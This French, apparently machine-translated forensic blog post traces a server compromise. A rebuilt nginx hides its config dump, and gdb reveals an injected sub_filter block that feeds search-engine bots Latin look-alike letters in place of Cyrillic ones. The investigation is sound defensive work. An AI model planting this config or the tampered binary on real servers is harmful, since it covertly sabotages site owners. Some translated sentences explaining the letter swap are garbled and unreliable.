Quand « a » n’est pas égal à « a ». À la suite d'un piratage

Une histoire des plus désagréables est arrivée à un de mes amis. Mais aussi désagréable que cela se soit avéré pour Mikhail, c'était tout aussi amusant pour moi.

Je dois dire que mon ami est plutôt UNIX-utilisateur : peut installer le système lui-même mysql, php et effectuez des réglages simples nginx.
Et il possède une douzaine de sites Internet et demi dédiés aux outils de construction.

L’un de ces sites dédiés aux tronçonneuses trône solidement dans le TOP des moteurs de recherche. Ce site est un critique non commercial, mais quelqu'un a pris l'habitude de l'attaquer. Que DDoS, puis la force brute, puis ils écrivent des commentaires obscènes et envoient des abus à l'hébergement et au RKN.
Soudain, tout s'est calmé et ce calme s'est avéré mauvais, et le site a commencé à quitter progressivement les premières lignes des résultats de recherche.

Quand « a » n’est pas égal à « a ». À la suite d'un piratage

C’était un dicton, puis l’histoire de l’administrateur elle-même.

Il était presque l’heure de se coucher lorsque le téléphone sonna : « San, tu ne veux pas regarder mon serveur ? Il me semble que j'ai été piraté, je ne peux pas le prouver, mais le sentiment ne m'a pas quitté depuis la troisième semaine. Peut-être qu’il est juste temps pour moi de suivre un traitement contre la paranoïa ?

S’ensuit une discussion d’une demi-heure qui peut se résumer ainsi :

  • le terrain pour le hacking était assez fertile ;
  • un attaquant pourrait obtenir les droits de superutilisateur ;
  • l'attaque (si elle a eu lieu) visait spécifiquement ce site ;
  • les zones à problèmes ont été corrigées et il vous suffit de comprendre s'il y a eu une pénétration ;
  • le piratage n'a pas pu affecter le code du site et les bases de données.

Concernant le dernier point.

Quand « a » n’est pas égal à « a ». À la suite d'un piratage

Seule l’adresse IP frontale blanche donne sur le monde. Il n'y a pas d'échange entre les backends et le frontend hormis http(s), les utilisateurs/mots de passe sont différents, aucune clé n'a été échangée. Sur les adresses grises, tous les ports sauf 80/443 sont fermés. Les adresses IP blanches du backend ne sont connues que de deux utilisateurs, en qui Mikhail a entièrement confiance.

Installé sur le front-end Debian 9 et au moment où l'appel est effectué, le système est isolé du monde par un pare-feu externe et arrêté.

"Ok, donne-moi accès", je décide de reporter le sommeil d'une heure. "Je verrai de mes propres yeux."

Ici et plus loin :

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

À la recherche d'un éventuel hack

Je démarre le serveur, d'abord mode sauvetage. Je monte les disques et les feuillette authentifierles journaux, Histoire, les journaux système, etc., si possible, je vérifie les dates de création des fichiers, même si je comprends qu'un cracker normal aurait « balayé » après lui-même, et Misha avait déjà beaucoup « piétiné » pendant qu'il se cherchait .

Je démarre en mode normal, ne comprenant pas encore vraiment ce qu'il faut chercher, j'étudie les configs. Tout d'abord, je m'intéresse nginx puisque, en général, il n’y a rien d’autre sur le frontend que lui.
Les configs sont petites, bien structurées en une dizaine de fichiers, je viens de les parcourir chat'oh, un par un. Tout semble propre, mais on ne sait jamais si j'ai raté quelque chose comprendre, permettez-moi de faire une liste complète :

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Je n'ai pas compris : "Où est le listing ?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Une deuxième question s’ajoute à la question de listage : « Pourquoi une version aussi ancienne de nginx ? »

De plus, le système estime que la dernière version est installée :

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

J'appelle:
- Misha, pourquoi as-tu remonté nginx?
- Attends, je ne sais même pas comment faire ça !
- Ok, eh bien, va dormir...

Nginx il est clairement reconstruit et la sortie du listing utilisant « -T » est masquée pour une raison. Il n'y a plus aucun doute sur le piratage et vous pouvez simplement l'accepter et (puisque Misha a de toute façon remplacé le serveur par un nouveau) considérer le problème comme résolu.

Et en effet, depuis que quelqu'un a obtenu les droits racine'ah, alors ça a du sens de le faire réinstallation du système, et il était inutile de chercher ce qui n'allait pas là, mais cette fois la curiosité a vaincu le sommeil. Comment pouvons-nous découvrir ce qu’ils voulaient nous cacher ?

Essayons de tracer :

$ strace nginx -T

On regarde, il n'y a clairement pas assez de lignes dans la trace à la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Juste pour le plaisir, comparons les résultats.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Je pense qu'une partie du code /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

a été amené sous la forme :

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ou

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

le listing par "-T" n'est donc pas affiché.

Mais comment pouvons-nous visualiser notre configuration ?

Si ma pensée est correcte et que le problème réside uniquement dans la variable ngx_dump_config essayons de l'installer en utilisant gdb, heureusement qu'il y a une clé --avec-cc-opt -g présente et j'espère que l'optimisation -O2 ça ne nous fera pas de mal. En même temps, comme je ne sais pas comment ngx_dump_config pourrait être traité dans cas 'T' :, nous n'appellerons pas ce bloc, mais l'installerons en utilisant cas 't' :

Pourquoi vous pouvez utiliser « -t » ainsi que « -T »Traitement des blocs si (ngx_dump_config) se passe à l'intérieur si (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Bien entendu, si le code est modifié dans cette partie et non dans cas 'T' :, alors ma méthode ne fonctionnera pas.

Tester nginx.confAyant déjà résolu le problème expérimentalement, il a été établi qu'une configuration minimale est requise pour que le malware fonctionne. nginx taper:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Nous l'utiliserons par souci de concision dans l'article.

Lancez le débogueur

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Par étapes:

  • définir un point d'arrêt dans la fonction principale()
  • lancer le programme
  • changer la valeur de la variable qui détermine la sortie de la configuration ngx_dump_config=1
  • continuer/terminer le programme

Comme on peut le voir, la vraie config diffère de la nôtre, on en sélectionne une pièce parasite :

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Jetons un coup d'œil à ce qui se passe ici dans l'ordre.

Sont déterminés User-Agentde Yandex/Google :

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Les pages de service sont exclues wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Et pour ceux qui remplissent les deux conditions ci-dessus

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

dans le texte html-les pages changent 'Ô' sur «O» и 'UN' sur 'une':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

C'est vrai, la seule subtilité est que 'un' != 'un' ainsi que 'o' != 'o':

Quand « a » n’est pas égal à « a ». À la suite d'un piratage

Ainsi, les robots des moteurs de recherche reçoivent, au lieu du texte normal 100 % cyrillique, des déchets modifiés dilués avec du latin. 'une' и «O». Je n’ose pas discuter de la manière dont cela affecte le référencement, mais il est peu probable qu’un tel fouillis de lettres ait un impact positif sur les positions dans les résultats de recherche.

Que puis-je dire, les gars avec de l'imagination.

références

Débogage avec GDB
gdb(1) — Page de manuel Linux
strace(1) — Page de manuel Linux
Nginx-Module ngx_http_sub_module
À propos des scies, tronçonneuses et scies électriques

Source: habr.com

Ajouter un commentaire